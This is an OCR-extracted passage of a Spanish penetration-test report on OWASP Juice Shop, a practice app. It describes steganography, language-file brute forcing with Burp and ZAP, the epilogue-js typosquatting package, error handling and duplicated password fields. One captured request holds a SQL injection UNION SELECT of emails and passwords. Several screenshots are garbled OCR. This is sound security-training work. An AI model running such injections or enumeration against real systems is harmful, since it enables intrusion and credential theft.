DESCRIPCION maliciosa en la misma ruta y explotar vulnerabilidades relacionadas con
redirecciones maliciosas.

Es importante que las listas blancas estén siempre actualizadas y se
asignen rutinas de mantenimiento de cédigo para evitar estos errores que
son faciles de explotar.

Asi mismo, recordamos que la lista blanca de la funcién “redirect” es
vulnerable también y que se ha valorado debidamente en su apartado.

EVIDENCIA

859, 23))
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RIESGOS

RECOMENDACION
ES

REFERENCIAS

)
}
}
noop() {}
showBitcoinQrCode() {
.dialog.open(Mt, {
data: {
data:
url:
address:
title:
}
bH

}
showdashQrCode() {
.dialog.open(Mt,

}
showEtherQrCode() {
.dialog.open(mMt, {
data: {
data:
url:
address:
title:
}
b

usewallet() {

W Riff Kitten - LostIn The 4
<« C { @ explorer

i Apps Kali Linux §8 Kali

Cannot GET /address/Xr556RzuwX6hgSEGpkybbw5SRanJoZN17kw

Capturas de la inspeccién del cédigo y URL no existente que figura en las
mismas.

En el caso de que el dominio al que se permite la redireccién se pusiera en
venta, un atacante malintencionado podria comprarlo para usarlo en
ataques que irian dirigidos a los clientes y usuarios de nuestra aplicacion.

Cuando existen listas blancas especialmente largas, este problema se
puede agravar y mucho, especialmente en entornos muy cambiantes por
lo que es importante establecer rutinas de control.

Establecer revisiones periddicas de las listas blancas y de otros puntos
sensibles del cddigo.

https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sh
eet.html|
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VUL_048 - STEGANOGRAPHY

STEGANOGRAPHY

Vul_048 BAJA O

http://juice.shop/assets/public/images/carousel/2.jpg

La esteganografia es el hecho de ocultar algo en algo. Generalmente,
en informatica, ocultamos cosas en imagenes, videos, audios.

Una de las primeras cosas que pueden hacer para atacar nuestras
aplicaciones y que conviene recordar es usar una herramienta como
DESCRIPCION foca para descargar todos los archivos e intentar encontrar informacién
en las cabeceras.

En este caso, mas que una vulnerabilidad es una curiosidad. Hemos
descargado varias imagenes y tratado de encontrar algo oculto en ellas.

OpenStego

File Help
| Data hiding Extract hidden data
& Input stego file
Hide data /home/nun/Descargas/5.png
<o
Extract data Output Folder for message file
/home/nun/Descargas/
Digital watermarking (Beta)
& Password
Generate signature
EVIDENCIA [~ Extract data

Embed watermark

o Message file successfully extracted from the cover file: J7RbRp1D5XDMS5LINX0TdgeFX_o.png

@ Aceptar

Decodificacidn de la imagen que tenia algo oculto
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Adult Swim series Rick and Morty receives Primetime Emmy Award Nomination for Outstanding Animated Program for gEdRle¥ episode.

LOS ANGELES -- Nominations for the 70th Emmy Awards were announced today by the Television Academy in a ceremony hosted
by Television Academy Chairman and CEO Hayma Washington along with Samira Wiley from the Hulu series The Handmaid's Tale
and Rvan Foonld fram NRC's incoming drama New Amcterdam

Investigacion sobre el personaje mostrado

RIESGOS

RECOMENDACIONES

REFERENCIAS
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VUL _049 — EXTRA Language

Vul_049

DESCRIPCION

EVIDENCIA

RIESGOS

EXTRA language

0 INFORMATIVA

http://juice.shop/assets/il8n/tlh_AA.json

A veces, ciertas funcionalidades de la aplicacidon pueden ser accedidas,
aungue no se muestren como tal, simplemente por légica.

En el caso que nos ocupa, se puede acceder a una version traducida de
la web en lenguaje KLINGON, pero esta misma falla se podria dar en
otros procesos mas importantes y que comportaran una falla en Ia
seguridad.

1H .
== <
==
Requ Response a INSPECTOR
orerry [ e BB 0 = erery LI - B Reques Attibues
1 GET /assets/ilenstlh_AALjson HITB/L.L L HITP/L.1 200 oK "
2 Host: 192,169, 42.194: 3000 2 access- Control- Allow-Origin: * Query Parameters (0]
3 User-Agent: Mozillaf5.0 [X11; Linux xB6_64; rviSl.0] Gecko/20100101 5 X-Content-Type-Options: nosniéf
Firefox/sl.0 | X-Frame-Options: SAMEORIGIN Body Parameters (0)
Accept: application/json, text/plain, */% S Feature-Palicy: payment 'seli
5 Accept-Language: en-US,en;g=0.5 & Accept-Ranges: bytes Request Cookies (4]
5 Acc deflate Cache-Control: public, max-ageso
st - & Last-Modified: Tus, 20 Mar 2022 11:51:01 GMT Request Headers 1)
eyl Gei 01 15Uz L 2dGFOd G 0 Jzduh 2Kz 7fdssadass
Fav: XL cisholLs 01111 €1 biFobCI 61k bl uQGe LW LLXHoL pelication/json; charses-Urr-g Response Headers 12
e 0 01 TwHTk yMOT 2 Tl ¥ 3z L LMOUx i wh] Tk Z3E2Y § UaMCTs i

jing
2 Date: Tus, 24 May 2022 20:09:13 GMT
: Connection: close

4 Content-Length: 28085

{

*LanGUAGE" " TlhIngan’ ,

1n2vbGus 0 dhzaapbi st 2vuL joa Liwi ZLuSxAi 01 Il A
UMCeT 3 eHUvZuls 2L W LE§od YINZZHREL SB1Y Y y SpbWFn2XweNEs b2 ey
Sk ZWZh Wk CON el 2UEGEnT i dGB0EFNLY 311 dCESTL 1 sLmlz QUNDEXZLE jpDenVIL.
€23 emyRGGVK QA 03 1yHDT L TALLT 121 Tw0] 0O} G213 QZNSAFMDAEMDAL LC) LeGrh
GV 3 Ty VDT yL TALLTE 210103 LOD; Q2L G2NSA Lotk ok

30 LbGXELCRTAQ 0 E2NT MENDAXNTY SIMVAC 15T Y 1Mz MLOCEXND. TB098E g -
SUIATRGAS Y1 HENLYTMeGUp LdX 35U LYDZURWYWAST 05y D SQVkeARZE1 WA DS HLBZCU
PGZIFOARLI. Sy BLASOTNERTr JunTESvLissEIFsA=S3WT s0aZ3-1_Wgyin-gLihfy
KEpNeaEMIE] LEDTUAHPECHG
2 Connection: close
s Referer: hittp://192.168.42.194:3000/

10
1
it
13
1
Bt
1
37
1
15

3 khoLsalp
11 1#-Modified-Since: Tue, 23 Mar 2022 11:51:01 GMT
12 1f-None-Match: Wy*6fb3-17fdsazd4es" wer character”,
13

per character",

Captura de la peticion del fiche
todas en parte), a lenguaje KLINGON

Esta vulnerabilidad no supone un riesgo en si misma pero el concepto
ilustra es importante. Cuando se crea una aplicacidon web debe tenerse
en cuenta que se deben construir mecanismos para frenar
automatizaciones sobre la misma y que pueden generar problemas
muy variados. Algunos ejemplos de cosas que se pueden generar de
forma automadtica y que conviene tener presentes son:

- Descubrimiento de usuarios
- Creacidn de cuentas

- Creacion de reviews

- Etc.

En este caso, lo que se ha descubierto es como podemos sondear que
lenguajes existen cambiando la peticion del lenguaje.
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Eliminar el lenguaje que no esta en uso.

RECOMENDACIONES Procurar que las funciones del programa no puedan ser predecibles
para evitar ataques en las automatizaciones.

https://owasp.org/www-project-automated-threats-to-web-

applications/

REFERENCIAS

EXPLOTACION

Al observar como la aplicacién gestiona los diferentes idiomas, vemos que se cargan a través de la
ruta /assets/il8n/ los archivos de lenguaje.

_ J— s

i = Sstsction 231 N
5617 charset-UTF-6 AL DD

34240 Jeswets/idan/ie 1T, juon

rbutes -

Ao

Reuest Cnaes (%) )

At eacers 5] ©

nail.r, Ao Headers 13) -

s_wmen allef

cuer ch
Jpper charae

Por tanto, es posible hacer un ataque de fuerza bruta para tratar de obtener archivos de idioma que
existan en la aplicacién pero que no se muestren en el front end.

Aqui podemos ver dos capturas usando burpsuite y ZAP para realizar el ataque:

rasissaru raiyen Fiuny i uue nepeae seyueine: Levuue cupa Lugye LAveiue e

1 x 2 x

Target Positions Payloads. Resource Pool Opiiii
@ Payload Positions

Attack Save Columns
Configure the positions where payloads will be inserted intof . .
Results Target Positions Payloads Resource Pool Options
Attack type: ‘ Sniper ! Filter: Showing all items
1 GET /assets/118n/§1t IT.json§ HTTP/1.1 f Reguest Payload Status Error  Timeout
2 Host: 192.168.42.194:3000
3 User-Agent: MozillasS.0 (X11; Linux x86 0 . 200
4 Accept: application/json, text/plain, * 1 aa_AA.J‘son 200
S Accept-Language: en-US,en;g=0.5 2 ab_AB.json 200
& Accept-Encoding: gzip, deflate 3 ac_ACjson 200
7 Authorization: Bearer eyJOeXAioiJkvigiLf4 ad_AD json 200
1TyMOIyLTALLTIZI0Tw0]UG0] Q2L ] Q2MSArMDAGH 5 ae_AE.json 200
2 Connection: close 3 af_AFjson 200
9 Referer: http://192.168.42.194: 3000/ 7 ag_AGjson 200
10 Cookile: language=it_IT; welcomebanner_sfg ah_AH.json 200
GVkQXQL01TyMDIyLTALLTI zIDIwOj U00j Q2] 028 o ai_Aljson 200
11 10 aj_Aljson 200
12 1 ak_AK json 200
12 al_AL json 200
13 am_AM.jsen 200
14 an_AN json 200
15 ao_AQ.json 200
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Ademas, realizando una busqueda online podemos encontrar documentacion sobre la aplicacion
para ver que archivos de idioma existen y ver si alguno no se esta mostrando en el front end.

@  OWASP Juice Shop

Klingon translation

Home

[— ™
~ [@ data
~ [mw static
~ [mw i18n
[son en.json
- [@w frontend
~ [ src
~ [@ assets
~ [@w i18n

[ €N.json

De esta manera podemos encontrar el nombre del archivo del idioma y si cédigo:

d

m", "text"”, "mdx"1, "md11": [ ,"markdown", "mdown” , "mkdn"

187" :{"id":"187","name" : "KLingon", "code":"tLlh-AA", "orga
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Y de esta forma hacer que este se cargue en la aplicacién:

s

1w
= (=1
Request

pretty [EER Hex w (=

GET /assets/ilsn/tlh_aaljson HTTR/1.1

Host: 192.168.42.194:3000

User-Agent: Mozilla/s.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0

Accept: application/json, text/plain,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Autherization: Bearer

2y J0eXAL 01 JKV1Qi LCIhbGei 01 I SUZT INLJS. eyJzdGFOdXML 03 JzdWN] ZXNzTiwi ZG
FOYSI 6oy JpZCT8MSw1 dXNLemShbwLi 03 11 LCI LbWFpbCT 6T mFkbbluQGp 1 a1 XNoL
mOWL1wi cGFze3dvemQi 01 TwMTk yMDT 2V T i YmQ3MzT IMDUxNmYwj Lk Z] E4Y JUnMCT s
In3vbGUL 01 JIhZGLpbi IsTnRLbHVAZVRVA2VUT ] 01 Tiwi bGFzdExvZ2LuSKAL 01 Twl ] A
UMCAWT i cHIVZmL s ZULYWALT § 01 Y XNZZXReL 3B1VmxpYy 9pbUiFnZXMyd XBsb2Fkey
Ok ZWZhdwxOQWREaWAUCGSNTiwi dGE0eFNLY 3] 1dCTET1 I ml2QuNOaXZLT jpocnviL
CJj emVhdGUkQXQi 01 TyMDIYLTALLTIZIDIWO] U00] Q2L] G2NSAFMDASMDAILCI 1cGRh
dGUkQXQL0i TyMDT yLT ALLTIZIDIWO]U0O] Q2L ] Q2NSAr MDAGMDAI LCIk Zux1dGVkQxQ
i0mS1hGxSLCIPYXQL 0jEZNTMZNDAXITY STmyAc CLMTY LMz M10DEXNNO. I 80986Lwq -
3UATNGAS] Y HQNLY T NwGyp L 35U1YDZUpWYWdSrQ6y i sQix4NN028i WX DSHUBZCU
pd21FOARLGLSUGY 6BLASOtNEP7r JUNTESYUSSEIPSAZSSWT s0aZg- 1_Wayon-gLLhfv
K6pWeaBwxweludoyYWuAHPCCH7wg

Connection: close

Referer: http://192.168.42.194:3000/

Cookle: language=lv_LV; welcomebanner_status=dismiss;
cookieconsent_status=dismiss; continueCode=
raKEyzVZoqm2RPg] 3Y Jar 9Q7wxnXdgqOKvEEbweDANKMOLSB L py 1E2vZenOk
If-Modified-Since: Tue, 29 Mar 2022 11:51:01 GMT

2 If-None-Match: W/"6fb3-17fd583d4gs"

N

e

NEXCRS

INSPECTOR

Response

pr

2

[LES

~

=

= Connection:

T raw Hex render [ W0 =

HTTP/1.1 200 0K

Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'
Accept-Ranges: bytes

cache-cControl: public, max-age=0
Last-Modified: Tue, 29 Mar 2022 11:51:0L GMT
ETag: W/"6&db6- 17fdS8ad4ss”

Content-Type: application/json; charset=UTF-8
Vary: Accept-Encoding

Date: Tue, 24 May 2022 20:09:13 GHT

close

Content-Length: 28086

Request Attributes
Query Parameters (0)

Body Parameters (0)

Request Cookies (4)
Request Headers (1)

Response Headers (13)

" LANGUAGE" : * t1hIngan" ,
" NAV_SEARCH" :"tu' ",
" SEARCH_PLACEHOLDER" : "tu*...",

" MANDATORY_EMALL":"Ves.",

"MANDATORY_PASSWORD" : "Please provide a password.",
"LABEL_EMATL":"SoQ",

" LABEL_PASSWORD" : *mu'wI3"

" SHOW_PASSWORD_ADVICE" :"Show password advice”,

" LOWER_CASE_CRITERIA_MSG':"contains at least one lower character®,
" UPPER_CASE_CRITERIA_MSG":"contains at least one upper character®,
"DIGITS_CRITERIA_MSG':'contains at least one digit",

" SPECIAL_CHARS_CRITERIA_MSG':

"contains at least one special character,
"MIN_CHARS_CRITERIA_MSG":"contains at least {{value}} characters",
"BTN_LOGIN': "Log in",

"BTN_GOOGLE_LOGIN':"Log in with Google',
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VUL 050 — LEGACY Typosquating

Vul_050

DESCRIPCION

LEGACY Typosquating

0 INFORMATIVA

http://juice.shop/assets/il8n/tlh_AA.json

El typosquatting es un fenémeno por el cual un usuario acaba en
una pagina web que no es la que estaba buscando por el hecho
de teclear mal por error la URL en su navegador. Los
cibercriminales a menudo aprovechan esta situacion para llevar
al usuario a una pdgina web maliciosa al reservar dominios
similares a los legitimos.

No obstante, este concepto se puede desarrollar mas alld de
errores en el nombre de dominio y por ejemplo, conseguir que
administradores instalen médulos maliciosos en sus aplicaciones
pensando que son veraces pues tienen un nombre muy
parecido.

Este es el caso que nos ocupa y aunque ya se remedio en la
actual versién, convendria realizar una investigacion sobre el
mismo pues se dio en versiones anteriores de juice shop.

** Conviene destacar que para poder acceder al archivo de
backup de un desarrollador se ha requerido hacer uso de la
vulnerabilidad LFI antes explicada. Sin embargo, a la hora de
valorar esta vulnerabilidad no se ha tenido en cuenta la anterior.
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EVIDENCIA

RIESGOS

“dependenci

grunt-angular-templates”
int-contrib-clean”
int-contrib-compre
int-contrib-conc
grunt-contrib-ugli
"hashids

"sanitize-htm
"sequelize”
"serve-favicor
"serve-inde>

Fichero de backup de un desarrollador encontrado en donde podemos
ver las dependencias de la aplicacion.

2]
B -~ popendoncy Status

B Explore @ 3 Dependencies & 20cpendents W 2versions

Epilogue

© github.com/dchester/epilogue

Homepage
& github.com/dchester/epiloguefreadme

143 N
THIS 1S NOT THE MODULE YOU ARE LOOKING FOR! Please use 073 it
i /i uo! This repository exists only for security awaroness
and s : 7 Piease read — Pull Requests
d 60 13
ges/ for
Lastpubish
Create fexible REST endpoints and controllers from Sequelize models i your Express or Restify Syears ago

app.

Modulo malicioso epilogue-js que se esta haciendo pasar por el real,
epilogue situado en esta url: https://github.com/dchester/epilogue

Actualmente esta vulnerabilidad no esta presente en la
aplicacion, pero se lo estuvo. Deberia estudiarse el cédigo de
dicha version si aln se conserva para poder evaluar el dafio que
pudo haberse producido en el pasado.
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Informar a los desarrolladores sobre este tipo de problemas para
que eviten la instalaciéon indeseada de cédigo malicioso en la
aplicacion

RECOMENDACIONE
)

REFERENCIAS https://www.incibe.es/aprendeciberseguridad/typosquatting

VUL _51 — READ Privacy Policy

Esta no es una vulnerabilidad en si, sino un pequefio juego para que alguien pueda probar que leyé
la politica de privacidad.

Al pasar el curso por las diferentes lineas de la politica de privacidad, algunas palabras se iluminan. Si
las juntamos todas forman la siguiente url:
/We/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility

Al visitarla nos sale un error inusual que referencia a otra url:

OWASP Juice Shop (Express Ng, 17 1)

404 Error: ENOENT: no such file or directory, stat '/jui .ipg’

Al visitarla, solventamos el reto:
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VUL _052 — ERROR Handling

ERROR Handling

Vul_052 INFORMATIVA O

En diversos lugares de la web

Cuando la aplicacidn falla por cualquier motivo, se nos muestra una
pagina de error que muestra informacién sensible sobre la aplicacion
DESCRIPCION cuando deberia mostrarse una pagina genérica que no mostrara ningun
tipo de informacién sobre la aplicacién al usuario.

Imagen de una pagina de error en donde vemos informacion sensible
sobre la aplicacion.

EVIDENCIA

Something wrong here...

Sorry. we're having some technical issues [as you can seal

try to refresh the page. sometime works :]

Imagen de cédmo deberia ser una pagina de error que no mostrara
ningun tipo de informacion al usuario y que, ademads, fuera mas
agradable a la vista.
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RIESGOS

RECOMENDACIONES

REFERENCIAS

Una pagina de errores mal configurada como esta permite al atacante
obtener informacidon que puede llegar a resultar critica a la hora de
elaborar todo tipo de ataques.

Asi mismo, una pagina de errores de este tipo hace que la aplicacion

web se ve mal y dejada, dando una mala imagen a la empresa.

Las paginas de errores no deberian ofrecer informacién al atacante.

https://owasp.org/www-community/Improper_Error_Handling
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VUL _053 — REPETITIVE registration

REPETITIVE registration

Vul_053 INFORMATIVA O

http://juice.shop/#/privacy-security/change-password

En programacion se habla de trabajar acorde al principio DRY (Don’t repeat
yourself). Este principio nos aconseja no repetir la informacion de forma
innecesaria.

En este caso, al crear un usuario la aplicacion nos pide escribir la
DESCRIPCION contrasefia dos veces, algo habitual. Sin embargo, una vez se envia al back
end para almacenarla también se envia dos veces.

Este doble envio de parametros puede causar errores cuando se
experimenta con ellos y en ocasiones, puede llegar a crear agujeros de
seguridad.

Prety  Raw Her B0 = ey R e
=

0 [XI1; Linux xB5_64; rv:51.0) Gecko/20L00101 Firefsi/al.o
*7

Licstion/jsen; charsss-uti-&
07

ISPU7 a8 aBdbAMNhz "

10 y
3000/ 11 Data: Sun, 71 Aug 2022 23:20;59 O
mbanner_ststus-ismiss; cooki sconsent_status-sismsss 12 Connactions close

5

xhitreZT TLi 850UCHsuge 0 KSSLoPenat ATxqa)BlisnhyL
ynak g0 VKb 00GaWaxdlY 13y KBS tnBR7RL DHyS2 EaCEs 1] 2imaj2rb ;
] PLEK N

1,
*sacuri tyAnswar : “passl”
}

D& &3 | s omatches | ()8 /13 | searcr

Imagen de una peticion de creacion de usuario enviada al front end. Se
observa como el password se envia 2 veces.
Prey  Raw  bex B n o= eemy  Rsw e e

EVIDENCIA

: re:81.0) Geche /20100001 Firefor/al.o

Imagen de una peticidn de creacidn de usuario enviada al back end donde
las contrasefias no son iguales. La aplicacion solo tiene en cuenta el
pardmetro “password” y no usa para nada el parametro
"passwordRepeat”. El inicio de sesidn se hara con el primero.
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RIESGOS

RECOMENDACIO
NES

REFERENCIAS

- #l Low- Origin: *

ype.Cptions: nosniff

alx tions: SAMECRIGIN

19 = Featurs-Palacyi payment 'seli!

, deflate & Location: fapl/Lsers/27

tionsjson Content-Type: aspplication/json; charset=utf-&
tent-Length: 908

168.1.41:3000 Wy 138 gF 7SR eSHZgFaf ggnDAUTTEXeD4"

Accapt-Encadin
92.168. 14113000/ Sun, 21 fug 2022 23:26:28 CHT
anobanner & E

" vemaile: passshiuica-sh.opt,
“passuordRapsat 1 pass1 i
tyQuestion®s{

“sacurityAnswert : pass1®

"deletadat’ tnull

)

Peticion de creacién de usuario solo con el pardametro passwordRepeat. En
este caso, la aplicacidn crea el usuario, pero la contrasefia no funcionara
porque en la base de datos queda registrado como NULL

Request

Raw e
prads L ) NI GO SELEET camai L, passworc) 2,4,5, 6,7, 8,6

HITE/L
2 hbst: 192.168.1.41:3000

5. ey azdaRCn 1 )2 AT
Lugl LT They MET 2Tl Y

Gk 0HQL 0L Ty HITYLT AALTI NI BN 20 ASQ 2L | E2NEAr HOAGMD AL

117 HS A IDATHOR: |17 LAGVK TSR s £l CIpYXIT, 0 E2 P

VU2 &L BC020LFN-20Z46 TtV ALKV Finyil_PDGF G- ySASo pedy e

ILrwkGacpKa i TL: FCuzooa: K2bgrent_GInLbn 2k Jcbasci Kkan
o

En esta imagen se muestra una captura de la inyeccién SQL que no muestra
los usuarios y contrasefias debido a los valores NULL almacenados.

Este doble envio de parametros puede causar errores cuando se
experimenta con ellos y en ocasiones, puede llegar a crear agujeros de
seguridad. Por poner un ejemplo, imaginemos que a un parametro enviado
dos veces solo se filtra, a nivel de seguridad, en su primera aparicién. Nos
permitiria inyectar cdédigo malicioso en el segundo. Por tanto debe
abolirse.

Ademads, como hemos visto en la inyeccion SQL, el hecho de que se cree
un usuario con valores “null” en el campo de contraseia puede provocar
algun mal funcionamiento en consultas a la base de datos programadas.

Optimizar el cédigo del front end para que solo envie un parametro, y que
el back end, verifique que la peticion es correcta y vdlida antes de
procesarla.

https://www.digitalocean.com/community/tutorials/what-is-dry-
development

https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat
Sheet.html
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Conclusiones finales

Tal y como ha quedado explicado en este informe el estado actual de la aplicacidn es que se
encuentra gravemente expuesta, por lo que se recomienda que se retire del publico hasta que las
principales amenazas se hayan subsanado pues podria comportar grandes problemas a la empresa.

Se recomienda también que una vez se vayan gestionando los arreglos se agenden una serie de
revisiones de seguridad para asegurarse de que los mismos se han realizado debidamente.

Asi mismo, la exploracidn de la aplicacidon denota una mala tendencia en la gestion del codigo de la
misma, encontrando por ejemplo funcionalidades antiguas que no han sido debidamente
eliminadas, listas blancas desactualizadas o informacién sensible expuesta en el cddigo visible desde
cualquier navegador. Por ello, se recomienda revisar el proceso de desarrollo y revision del cédigo
para tratar de adoptar un funcionamiento mas eficaz.

También y como se ha apuntado en el inicio de este informe, debemos tener siempre presente que
los usuarios de nuestra aplicaciéon deben tener un minimo de formacién y responsabilidad a la hora
de usarla. Por ejemplo, se han descubierto contrasefias muy débiles en usuarios con altos permisos.

Por ello, se recomienda que la empresa establezca unas politicas de uso y seguridad para la mismay
gue en la medida de lo posible, se forme a administradores y otros empleados en cuestiones bdasicas
de seguridad informdtica para reducir al maximo los vectores de ataque enfocados la parte humana.

Por ultimo, se recomienda elaborar un plan contra incidentes para que la empresa esté preparada
para ofrecer una respuesta rapida a fallas de seguridad que puedan aparecer en el futuro.
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